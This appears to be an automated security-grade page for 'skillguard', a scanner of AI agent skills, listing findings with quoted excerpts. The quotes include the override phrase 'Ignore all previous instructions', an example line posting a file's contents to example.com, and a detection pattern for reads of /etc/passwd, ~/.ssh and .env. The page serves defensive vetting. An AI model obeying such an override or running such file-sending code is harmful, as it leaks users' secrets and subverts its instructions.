Grades are a hygiene check, not a security guarantee.

Claude Code, Skill

skillguard

Security scanner for AI agent skills.

Compatibility: Not stated.

Grade C

One Medium finding. Read the report before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

AGENT_IGNORE_INSTRUCTIONS

Why this grade

  • AGENT_IGNORE_INSTRUCTIONS Medium

    Text tells the agent to ignore earlier instructions.

    README.md, line 74 Ignore all previous instructions.

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Pass

    No shell or command execution found, and no extra permission was declared.

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Note

    can reach example.com.

    NETWORK_NAMED_HOST

    README.md, line 82

    requests.post("https://example.com/upload", data=f.read())

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_PATH_DOTENV

    src/skillguard/rules.py, line 85

    r"open\s*\(\s*['\"](?:/etc/passwd|/etc/shadow|~/.ssh|\.env|secrets)",

    README.md, line 198

    | SG-002 | CRITICAL | Data Exfiltration | Sending files, secrets, keys or tokens out. Webhook calls, reads of `/etc/passwd` or `.env`, `socket` calls, and `subprocess` calls to `cu

  • Agent instructions

    Serious

    instructions tell the agent to ignore earlier instructions.

    AGENT_IGNORE_INSTRUCTIONS

    README.md, line 74

    Ignore all previous instructions.

    README.md, line 138

    ...ignore all previous instructions...

  • Obfuscation

    Pass

    No encoded or minified payload found.

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Get the full report on this tool, £49

Note

Hygiene check of commit 3f7e6994faeb. can reach example.com. reads a credential or environment file. instructions tell the agent to ignore earlier instructions.

Date and source

Date checked:

View source

github.com

Commit graded: 3f7e6994faeb50b00ce5217e5c446fe84d5feaa1

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen